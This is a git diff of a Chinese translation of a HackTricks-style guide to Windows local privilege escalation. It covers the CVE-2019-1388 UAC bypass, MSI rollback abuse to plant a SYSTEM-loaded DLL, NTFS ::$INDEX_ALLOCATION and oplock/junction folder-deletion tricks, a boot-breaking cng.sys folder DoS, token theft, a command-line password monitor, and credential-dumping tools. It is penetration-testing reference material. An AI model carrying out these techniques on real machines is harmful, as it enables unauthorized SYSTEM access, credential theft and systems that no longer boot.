pipe 交互,就有机会通过采用该进程的身份来**获得更高权限**。有关执行此类攻击的说明,可参见[**here**](named-pipe-client-impersonation.md) 和 [**here**](#from-high-integrity-to-system)。 -此外,以下工具允许**使用像burp这样的工具拦截命名管道通信:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **而这个工具允许列出并查看所有管道以寻找权限提升** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +此外,下面的工具允许使用类似 burp 的工具**拦截命名管道通信:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **而另一个工具允许列出并查看所有管道以查找 privescs:** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## 杂项 +## Misc -### 可能在Windows中执行的文件扩展名 +### File Extensions that could execute stuff in Windows -查看页面**[https://filesec.io/](https://filesec.io/)** +Check out the page **[https://filesec.io/](https://filesec.io/)** -### **监控命令行中的密码** +### **Monitoring Command Lines for passwords** -当以用户身份获取shell时,可能会有计划任务或其他进程正在执行,这些进程**在命令行中传递凭据**。下面的脚本每两秒捕获一次进程命令行,并将当前状态与先前状态进行比较,输出任何差异。 +当以用户身份获得 shell 时,可能存在计划任务或其他正在执行的进程会**在命令行上传递凭据**。下面的脚本每两秒捕获一次进程命令行并将当前状态与之前的状态比较,输出任何差异。 ```bash while($true) { @@ -1275,15 +1290,15 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## 从进程中窃取密码 +## Stealing passwords from processes -## 从低权限用户到 NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC 绕过 +## From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -如果您可以访问图形界面(通过控制台或 RDP)并且启用了 UAC,在某些版本的 Microsoft Windows 中,可以从一个无权限用户运行终端或任何其他进程,例如 "NT\AUTHORITY SYSTEM"。 +如果你可以访问图形界面(通过控制台或 RDP)并且启用了 UAC,在某些 Microsoft Windows 版本中,非特权用户可以以 "NT\AUTHORITY SYSTEM" 等身份运行终端或任何其他进程。 -这使得可以利用同一个漏洞同时提升权限并绕过 UAC。此外,无需安装任何东西,过程中使用的二进制文件是由 Microsoft 签名和发布的。 +这使得可以利用同一漏洞同时提升权限并绕过 UAC。此外,无需安装任何东西,过程使用的二进制文件由 Microsoft 签名并发布。 -一些受影响的系统如下: +Some of the affected systems are the following: ``` SERVER ====== @@ -1323,151 +1338,153 @@ Windows 10 1709 16299 link NOT opened 8) Remember to cancel setup and the UAC prompt to return to your desktop. ``` -您在以下 GitHub 存储库中拥有所有必要的文件和信息: +You have all the necessary files and information in the following GitHub repository: https://github.com/jas502n/CVE-2019-1388 -## 从管理员中等权限到高完整性级别 / UAC 绕过 +## From Administrator Medium to High Integrity Level / UAC Bypass + +阅读此文以**了解 Integrity Levels**: -阅读此内容以**了解完整性级别**: {{#ref}} integrity-levels.md {{#endref}} -然后**阅读此内容以了解 UAC 和 UAC 绕过:** +然后**阅读此文以了解 UAC 和 UAC bypasses:** + {{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}} -## 从任意文件夹删除/移动/重命名到 SYSTEM EoP +## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP -在[**这篇博客文章**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks)中描述的技术,带有[**可用的漏洞代码**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs)。 +The technique described [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) with a exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -该攻击基本上是利用 Windows Installer 的回滚功能,在卸载过程中用恶意文件替换合法文件。为此,攻击者需要创建一个**恶意 MSI 安装程序**,该安装程序将用于劫持 `C:\Config.Msi` 文件夹,Windows Installer 将在卸载其他 MSI 包时使用该文件夹来存储回滚文件,而回滚文件将被修改为包含恶意有效负载。 +该攻击基本上是滥用 Windows Installer 的 rollback 功能,在卸载过程中用恶意文件替换合法文件。为此,攻击者需要创建一个**恶意 MSI 安装包**,用于劫持 `C:\Config.Msi` 文件夹,该文件夹随后会被 Windows Installer 用来在卸载其他 MSI 包时存放 rollback 文件,而这些 rollback 文件将被修改以包含恶意负载。 -总结的技术如下: +该技术摘要如下: -1. **阶段 1 – 准备劫持(保持 `C:\Config.Msi` 为空)** +1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** -- 步骤 1:安装 MSI -- 创建一个 `.msi`,在可写文件夹(`TARGETDIR`)中安装一个无害文件(例如,`dummy.txt`)。 -- 将安装程序标记为**“UAC 合规”**,以便**非管理员用户**可以运行它。 -- 安装后保持对该文件的**句柄**打开。 +- Step 1: Install the MSI +- 创建一个 `.msi`,在可写文件夹(`TARGETDIR`)中安装一个无害文件(例如 `dummy.txt`)。 +- 将安装程序标记为 **"UAC Compliant"**,以便**非管理员用户**可以运行它。 +- 安装后保持对该文件的一个**句柄**打开。 -- 步骤 2:开始卸载 +- Step 2: Begin Uninstall - 卸载相同的 `.msi`。 -- 卸载过程开始将文件移动到 `C:\Config.Msi` 并将其重命名为 `.rbf` 文件(回滚备份)。 -- **使用 `GetFinalPathNameByHandle` 轮询打开的文件句柄**,以检测文件何时变为 `C:\Config.Msi\.rbf`。 +- 卸载过程会开始将文件移动到 `C:\Config.Msi` 并将它们重命名为 `.rbf` 文件(rollback 备份)。 +- 使用 `GetFinalPathNameByHandle` **轮询打开的文件句柄**,以检测文件何时变为 `C:\Config.Msi\.rbf`。 -- 步骤 3:自定义同步 -- `.msi` 包含一个**自定义卸载操作(`SyncOnRbfWritten`)**,该操作: -- 在 `.rbf` 被写入时发出信号。 -- 然后**等待**另一个事件后再继续卸载。 +- Step 3: Custom Syncing +- 该 `.msi` 包含一个**自定义卸载动作(`SyncOnRbfWritten`)**,该动作: +- 在 `.rbf` 被写入时发送信号。 +- 然后在继续卸载前**等待**另一个事件。 -- 步骤 4:阻止删除 `.rbf` -- 当发出信号时,**打开 `.rbf` 文件**而不使用 `FILE_SHARE_DELETE` — 这**防止其被删除**。 -- 然后**发回信号**以便卸载可以完成。 -- Windows Installer 无法删除 `.rbf`,并且由于无法删除所有内容,**`C:\Config.Msi` 不会被移除**。 +- Step 4: Block Deletion of `.rbf` +- 被信号触发后,**以不带 `FILE_SHARE_DELETE` 的方式打开 `.rbf` 文件** —— 这会**阻止其被删除**。 +- 然后**回传信号**以便卸载可以完成。 +- Windows Installer 无法删除该 `.rbf`,并且因为无法删除所有内容,**`C:\Config.Msi` 不会被移除**。 -- 步骤 5:手动删除 `.rbf` -- 您(攻击者)手动删除 `.rbf` 文件。 -- 现在**`C:\Config.Msi` 为空**,准备被劫持。 +- Step 5: Manually Delete `.rbf` +- 你(攻击者)手动删除该 `.rbf` 文件。 +- 现在 **`C:\Config.Msi` 为空**,可以被劫持。 -> 此时,**触发 SYSTEM 级别的任意文件夹删除漏洞**以删除 `C:\Config.Msi`。 +> 此时,**触发 SYSTEM 级别的 arbitrary folder delete 漏洞**以删除 `C:\Config.Msi`。 -2. **阶段 2 – 用恶意脚本替换回滚脚本** +2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** -- 步骤 6:使用弱 ACL 重新创建 `C:\Config.Msi` -- 自行重新创建 `C:\Config.Msi` 文件夹。 -- 设置**弱 DACL**(例如,Everyone:F),并**保持句柄打开**,使用 `WRITE_DAC`。 +- Step 6: Recreate `C:\Config.Msi` with Weak ACLs +- 重新创建 `C:\Config.Msi` 文件夹。 +- 设置**弱 DACL**(例如 Everyone:F),并保持一个带有 `WRITE_DAC` 的句柄打开。 -- 步骤 7:运行另一个安装 -- 再次安装 `.msi`,并: +- Step 7: Run Another Install +- 再次安装该 `.msi`,并设置: - `TARGETDIR`:可写位置。 - `ERROROUT`:触发强制失败的变量。 -- 此安装将用于再次触发**回滚**,读取 `.rbs` 和 `.rbf`。 +- 此次安装将用于再次触发**rollback**,它会读取 `.rbs` 和 `.rbf`。 -- 步骤 8:监视 `.rbs` -- 使用 `ReadDirectoryChangesW` 监视 `C:\Config.Msi`,直到出现新的 `.rbs`。 +- Step 8: Monitor for `.rbs` +- 使用 `ReadDirectoryChangesW` 监控 `C:\Config.Msi`,直到出现新的 `.rbs`。 - 捕获其文件名。 -- 步骤 9:回滚前同步 -- `.msi` 包含一个**自定义安装操作(`SyncBeforeRollback`)**,该操作: -- 在创建 `.rbs` 时发出信号。 -- 然后**等待**后再继续。 +- Step 9: Sync Before Rollback +- 该 `.msi` 包含一个**自定义安装动作(`SyncBeforeRollback`)**,该动作: +- 在 `.rbs` 被创建时发送事件信号。 +- 然后在继续前**等待**。 -- 步骤 10:重新应用弱 ACL -- 在接收到 `.rbs 创建` 事件后: -- Windows Installer **重新应用强 ACL** 到 `C:\Config.Msi`。 -- 但由于您仍然有一个带有 `WRITE_DAC` 的句柄,您可以**再次重新应用弱 ACL**。 +- Step 10: Reapply Weak ACL +- 在收到 `.rbs created` 事件后: +- Windows Installer **会重新应用强 ACL** 到 `C:\Config.Msi`。 +- 但由于你仍然持有带有 `WRITE_DAC` 的句柄,你可以再次**重新应用弱 ACL**。 -> ACL 仅在句柄打开时**强制执行**,因此您仍然可以写入该文件夹。 +> ACLs 仅在句柄打开时**被强制执行**,所以你仍然可以写入该文件夹。 -- 步骤 11:放置假 `.rbs` 和 `.rbf` -- 用**假回滚脚本**覆盖 `.rbs` 文件,该脚本告诉 Windows: -- 将您的 `.rbf` 文件(恶意 DLL)恢复到**特权位置**(例如,`C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`)。 -- 放置您的假 `.rbf`,其中包含**恶意 SYSTEM 级有效负载 DLL**。 +- Step 11: Drop Fake `.rbs` and `.rbf` +- 覆盖 `.rbs` 文件,放入一个**伪造的 rollback 脚本**,该脚本告诉 Windows: +- 将你的 `.rbf` 文件(恶意 DLL)恢复到一个**特权位置**(例如 `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`)。 +- 放置你的伪造 `.rbf`,其中包含**恶意的 SYSTEM 级别 payload DLL**。 -- 步骤 12:触发回滚 -- 发出同步事件信号,以便安装程序恢复。 -- 配置一个**类型 19 自定义操作(`ErrorOut`)**以**故意使安装失败**在已知点。 -- 这会导致**回滚开始**。 +- Step 12: Trigger the Rollback +- 发送同步事件使安装程序继续。 +- 一个配置为在已知点**故意失败安装**的 type 19 custom action(`ErrorOut`)被触发。 +- 这会导致**rollback 开始**。 -- 步骤 13:SYSTEM 安装您的 DLL +- Step 13: SYSTEM Installs Your DLL - Windows Installer: -- 读取您的恶意 `.rbs`。 -- 将您的 `.rbf` DLL 复制到目标位置。 -- 您现在在 SYSTEM 加载的路径中拥有您的**恶意 DLL**。 +- 读取你恶意的 `.rbs`。 +- 将你的 `.rbf` DLL 复制到目标位置。 +- 现在你的**恶意 DLL 已位于 SYSTEM 加载的路径**下。 -- 最后一步:执行 SYSTEM 代码 -- 运行一个受信任的**自动提升的二进制文件**(例如,`osk.exe`),该文件加载您劫持的 DLL。 -- **轰**:您的代码以**SYSTEM**身份执行。 +- Final Step: Execute SYSTEM Code +- 运行一个受信任的**auto-elevated binary**(例如 `osk.exe`),该二进制会加载你劫持的 DLL。 +- **Boom**:你的代码以 **SYSTEM** 身份被执行。 -### 从任意文件删除/移动/重命名到 SYSTEM EoP +### From Arbitrary File Delete/Move/Rename to SYSTEM EoP -主要的 MSI 回滚技术(前面的技术)假设您可以删除一个**整个文件夹**(例如,`C:\Config.Msi`)。但是,如果您的漏洞仅允许**任意文件删除**呢? +主 MSI rollback 技术(前述方法)假设你可以删除一个**整个文件夹**(例如 `C:\Config.Msi`)。但如果你的漏洞只允许**任意文件删除**? -您可以利用**NTFS 内部**:每个文件夹都有一个隐藏的备用数据流,称为: +你可以利用 **NTFS 内部机制**:每个文件夹都有一个隐藏的备用数据流,称为: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` -这个流存储了文件夹的 **索引元数据**。 +该流存储该文件夹的 **索引元数据**。 -因此,如果你 **删除文件夹的 `::$INDEX_ALLOCATION` 流**,NTFS **将从文件系统中移除整个文件夹**。 +因此,如果您 **删除文件夹的 `::$INDEX_ALLOCATION` 流**,NTFS 会从文件系统中 **移除整个文件夹**。 -你可以使用标准文件删除 API 来做到这一点,例如: +你可以使用标准的文件删除 APIs(例如): ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> 即使您调用的是 *file* 删除 API,它 **会删除文件夹本身**。 +> 虽然你调用的是一个 *file* delete API,但它**删除的是文件夹本身**。 -### 从文件夹内容删除到 SYSTEM EoP -如果您的原语不允许您删除任意文件/文件夹,但它 **确实允许删除攻击者控制的文件夹的 *内容***,该怎么办? +### 从 Folder Contents Delete 到 SYSTEM EoP +如果你的 primitive 不允许你删除任意文件/文件夹,但它**确实允许删除攻击者控制的文件夹的*内容***? -1. 步骤 1:设置一个诱饵文件夹和文件 -- 创建: `C:\temp\folder1` -- 在其中: `C:\temp\folder1\file1.txt` +1. 步骤 1:设置诱饵文件夹和文件 +- 创建:`C:\temp\folder1` +- 在其中:`C:\temp\folder1\file1.txt` 2. 步骤 2:在 `file1.txt` 上放置一个 **oplock** -- oplock **在特权进程尝试删除 `file1.txt` 时暂停执行**。 +- 当一个有特权的进程试图删除 `file1.txt` 时,oplock 会**暂停执行**。 ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` -3. 第3步:触发SYSTEM进程(例如,`SilentCleanup`) -- 该进程扫描文件夹(例如,`%TEMP%`)并尝试删除其内容。 -- 当它到达`file1.txt`时,**oplock触发**并将控制权交给你的回调。 +3. 第3步:触发 SYSTEM 进程(例如,`SilentCleanup`) +- 该进程会扫描文件夹(例如,`%TEMP%`)并尝试删除其内容。 +- 当它到达 `file1.txt` 时,**oplock 触发** 并将控制权交给你的回调。 -4. 第4步:在oplock回调内部 – 重定向删除 +4. 第4步:在 oplock 回调内 – 重定向删除 -- 选项A:将`file1.txt`移动到其他地方 -- 这会清空`folder1`而不破坏oplock。 -- 不要直接删除`file1.txt` — 这会过早释放oplock。 +- 选项 A:将 `file1.txt` 移动到其他位置 +- 这会在不破坏 oplock 的情况下清空 `folder1`。 +- 不要直接删除 `file1.txt` — 那会过早释放 oplock。 -- 选项B:将`folder1`转换为**junction**: +- 选项 B:将 `folder1` 转换为 **junction**: ```bash # folder1 is now a junction to \RPC Control (non-filesystem namespace) mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control @@ -1477,127 +1494,128 @@ mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> 这针对存储文件夹元数据的 NTFS 内部流——删除它会删除文件夹。 +> 这针对存储文件夹元数据的 NTFS 内部流 — 删除它会删除该文件夹。 -5. 第 5 步:释放 oplock +5. 第5步:释放 oplock - SYSTEM 进程继续并尝试删除 `file1.txt`。 -- 但现在,由于 junction + symlink,它实际上删除的是: +- 但现在,由于 junction + symlink,它实际上正在删除: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` **结果**: `C:\Config.Msi` 被 SYSTEM 删除。 -### 从任意文件夹创建到永久性拒绝服务 +### 从 Arbitrary Folder Create 到 Permanent DoS -利用一个原始功能,让你 **以 SYSTEM/admin 身份创建任意文件夹** — 即使 **你无法写入文件** 或 **设置弱权限**。 +利用一个原语,它允许你 **create an arbitrary folder as SYSTEM/admin** —— 即使你**不能写入文件**或**设置弱权限**。 -创建一个 **文件夹**(不是文件),名称为 **关键 Windows 驱动程序**,例如: +创建一个**文件夹**(不是文件),其名称为一个**critical Windows driver**,例如: ``` C:\Windows\System32\cng.sys ``` -- 该路径通常对应于 `cng.sys` 内核模式驱动程序。 -- 如果您 **预先将其创建为文件夹**,Windows 在启动时无法加载实际驱动程序。 -- 然后,Windows 在启动时尝试加载 `cng.sys`。 -- 它看到文件夹,**无法解析实际驱动程序**,并且 **崩溃或停止启动**。 -- 没有 **后备**,并且 **没有恢复**,需要外部干预(例如,启动修复或磁盘访问)。 +- 此路径通常对应 `cng.sys` 内核模式驱动程序。 +- 如果你 **预先将其创建为文件夹**,Windows 在启动时无法加载实际驱动程序。 +- 随后,Windows 在启动过程中尝试加载 `cng.sys`。 +- 它看到该文件夹,**无法解析实际驱动程序**,并且**崩溃或停止启动**。 +- 没有**回退**,且在没有外部干预(例如启动修复或磁盘访问)的情况下**无法恢复**。 -## **从高完整性到系统** + +## **从 High Integrity 到 System** ### **新服务** -如果您已经在高完整性进程中运行,**到达 SYSTEM 的路径**可以通过 **创建和执行新服务** 来轻松实现: +如果你已经在 High Integrity 进程上运行,**通向 SYSTEM 的路径**可以很简单,只需**创建并执行一个新服务**: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> 创建服务二进制文件时,请确保它是有效的服务,或者该二进制文件执行必要的操作,因为如果它不是有效的服务,将在20秒内被终止。 +> 创建服务二进制文件时,确保它是一个有效的服务,或者该二进制能够执行必要的操作并保持运行,因为如果它不是有效的服务,会在 20 秒后被终止。 ### AlwaysInstallElevated -从高完整性进程中,您可以尝试**启用 AlwaysInstallElevated 注册表项**并**安装**一个使用 _**.msi**_ 包装的反向 shell。\ -[有关涉及的注册表项和如何安装 _.msi_ 包的更多信息,请点击这里。](#alwaysinstallelevated) +From a High Integrity process you could try to **enable the AlwaysInstallElevated registry entries** and **install** a reverse shell using a _**.msi**_ wrapper.\ +[有关所涉及注册表键以及如何安装 _.msi_ 包的更多信息,请见此处。](#alwaysinstallelevated) -### 高 + SeImpersonate 权限到系统 +### High + SeImpersonate privilege to System -**您可以** [**在这里找到代码**](seimpersonate-from-high-to-system.md)**。** +**你可以** [**在此处找到代码**](seimpersonate-from-high-to-system.md)**。** -### 从 SeDebug + SeImpersonate 到完整令牌权限 +### From SeDebug + SeImpersonate to Full Token privileges -如果您拥有这些令牌权限(您可能会在已经是高完整性进程中找到),您将能够**以 SeDebug 权限打开几乎任何进程**(不受保护的进程),**复制该进程的令牌**,并创建一个**具有该令牌的任意进程**。\ -使用此技术通常**选择任何以 SYSTEM 身份运行的进程,具有所有令牌权限**(_是的,您可以找到没有所有令牌权限的 SYSTEM 进程_)。\ -**您可以在这里找到** [**执行所提议技术的代码示例**](sedebug-+-seimpersonate-copy-token.md)**。** +If you have those token privileges (probably you will find this in an already High Integrity process), you will be able to **open almost any process** (not protected processes) with the SeDebug privilege, **copy the token** of the process, and create an **arbitrary process with that token**.\ +使用这些技术通常会**选择任意以 SYSTEM 运行且拥有全部 token 权限的进程**(_是的,你可能会找到没有全部 token 权限的 SYSTEM 进程_)。\ +**你可以在此处找到执行该技术的示例代码** [**这里**](sedebug-+-seimpersonate-copy-token.md)**。** -### **命名管道** +### **Named Pipes** -此技术由 meterpreter 用于在 `getsystem` 中进行升级。该技术包括**创建一个管道,然后创建/滥用一个服务来写入该管道**。然后,使用**`SeImpersonate`** 权限创建管道的**服务器**将能够**模拟管道客户端(服务)的令牌**,从而获得 SYSTEM 权限。\ -如果您想要[**了解更多关于命名管道的信息,请阅读这个**](#named-pipe-client-impersonation)。\ -如果您想阅读一个[**如何通过命名管道从高完整性转到系统的示例,请阅读这个**](from-high-integrity-to-system-with-name-pipes.md)。 +This technique is used by meterpreter to escalate in `getsystem`. 该技术由创建一个 pipe 并随后创建/滥用一个 service 向该 pipe 写入组成。然后,使用 **`SeImpersonate`** 权限创建 pipe 的 **server** 将能够**模拟 pipe 客户端(即该 service)的 token**,从而获取 SYSTEM 权限。\ +如果你想要[**了解更多关于 named pipes 的内容应阅读此处**](#named-pipe-client-impersonation)。\ +如果你想阅读一个[**如何使用 named pipes 从 high integrity 提升到 System 的示例**](from-high-integrity-to-system-with-name-pipes.md)。 -### Dll 劫持 +### Dll Hijacking -如果您成功**劫持一个由以**SYSTEM**身份运行的**进程**加载的 dll,您将能够以这些权限执行任意代码。因此,Dll 劫持对于这种特权升级也很有用,而且,如果从高完整性进程进行,**更容易实现**,因为它将在加载 dll 的文件夹中具有**写权限**。\ -**您可以** [**在这里了解更多关于 Dll 劫持的信息**](dll-hijacking/index.html)**。** +If you manages to **hijack a dll** being **loaded** by a **process** running as **SYSTEM** you will be able to execute arbitrary code with those permissions. 因此 Dll Hijacking 对于此类提升也很有用,而且从 high integrity 进程实现起来**更容易**,因为它通常对用于加载 dll 的文件夹具有**写权限**。\ +**你可以** [**在此了解更多关于 Dll hijacking 的信息**](dll-hijacking/index.html)**。** -### **从管理员或网络服务到系统** +### **From Administrator or Network Service to System** - [https://github.com/sailay1996/RpcSsImpersonator](https://github.com/sailay1996/RpcSsImpersonator) - [https://decoder.cloud/2020/05/04/from-network-service-to-system/](https://decoder.cloud/2020/05/04/from-network-service-to-system/) - [https://github.com/decoder-it/NetworkServiceExploit](https://github.com/decoder-it/NetworkServiceExploit) -### 从本地服务或网络服务到完整权限 +### From LOCAL SERVICE or NETWORK SERVICE to full privs -**阅读:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) +**Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) -## 更多帮助 +## More help -[静态 impacket 二进制文件](https://github.com/ropnop/impacket_static_binaries) +[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## 有用的工具 +## Useful tools -**查找 Windows 本地特权升级向量的最佳工具:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 检查错误配置和敏感文件 (**[**在这里检查**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。已检测。**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- 检查一些可能的错误配置并收集信息 (**[**在这里检查**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。**\ +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 检查错误配置和敏感文件(**[**查看此处**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。已被检测。**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- 检查一些可能的错误配置并收集信息(**[**查看此处**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。**\ [**privesc** ](https://github.com/enjoiz/Privesc)**-- 检查错误配置**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- 提取 PuTTY、WinSCP、SuperPuTTY、FileZilla 和 RDP 保存的会话信息。使用 -Thorough 在本地。**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- 从凭据管理器提取凭据。已检测。**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 在域中喷洒收集到的密码**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh 是一个 PowerShell ADIDNS/LLMNR/mDNS/NBNS 欺骗和中间人工具。**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基本的 privesc Windows 枚举**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 搜索已知的 privesc 漏洞(已弃用,改为 Watson)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- 本地检查 **(需要管理员权限)** +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- 提取 PuTTY、WinSCP、SuperPuTTY、FileZilla 和 RDP 的已保存会话信息。在本地使用 -Thorough。**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- 从 Credential Manager 提取凭证。已被检测。**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 在域内对收集到的密码进行喷洒尝试**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh 是一个 PowerShell ADIDNS/LLMNR/mDNS/NBNS 欺骗与中间人工具。**\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基本的 Windows 提权 枚举**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **~~ -- 搜索已知的提权漏洞(已被 Watson 取代,DEPRECATED)~~**\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- 本地检查 **(需要管理员权限)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- 搜索已知的 privesc 漏洞(需要使用 VisualStudio 编译) ([**预编译**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 枚举主机以查找错误配置(更多是收集信息的工具而不是 privesc)(需要编译) **(**[**预编译**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 从许多软件中提取凭据(在 github 上有预编译 exe)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- 搜索已知的提权漏洞(需使用 VisualStudio 编译)([**预编译**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 枚举主机以查找错误配置(更偏向信息收集工具而非单纯提权)(需编译)([**预编译**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 从大量软件中提取凭证(github 上有预编译 exe)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp 的 C# 移植**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 检查错误配置(在 github 上的可执行文件预编译)。不推荐。它在 Win10 上效果不好。\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 检查可能的错误配置(来自 python 的 exe)。不推荐。它在 Win10 上效果不好。 +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **~~ -- 检查错误配置(可在 github 获取预编译可执行文件)。不推荐。Win10 上效果不佳。~~**\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 检查可能的错误配置(基于 python 的 exe)。不推荐。Win10 上效果不佳。 **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- 基于此帖创建的工具(它不需要 accesschk 正常工作,但可以使用它)。 +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- 基于该帖子创建的工具(不需要 accesschk 即可正常工作,但可以使用它)。 -**本地** +**Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- 读取 **systeminfo** 的输出并推荐有效的漏洞(本地 python)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- 读取 **systeminfo** 的输出并推荐有效的漏洞(本地 python) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- 读取 **systeminfo** 的输出并推荐可用的 exploit(本地 python)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- 读取 **systeminfo** 的输出并推荐可用的 exploit(本地 python) **Meterpreter** _multi/recon/local_exploit_suggestor_ -您必须使用正确版本的 .NET 编译该项目([查看此处](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/))。要查看受害主机上安装的 .NET 版本,您可以执行: +You have to compile the project using the correct version of .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). To see the installed version of .NET on the victim host you can do: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` -## 参考文献 +## 参考资料 - [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html) - [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738) @@ -1614,4 +1632,6 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the - [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections) +- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md b/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md new file mode 100644 index 000000000..8332e124c --- /dev/null +++ b/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md @@ 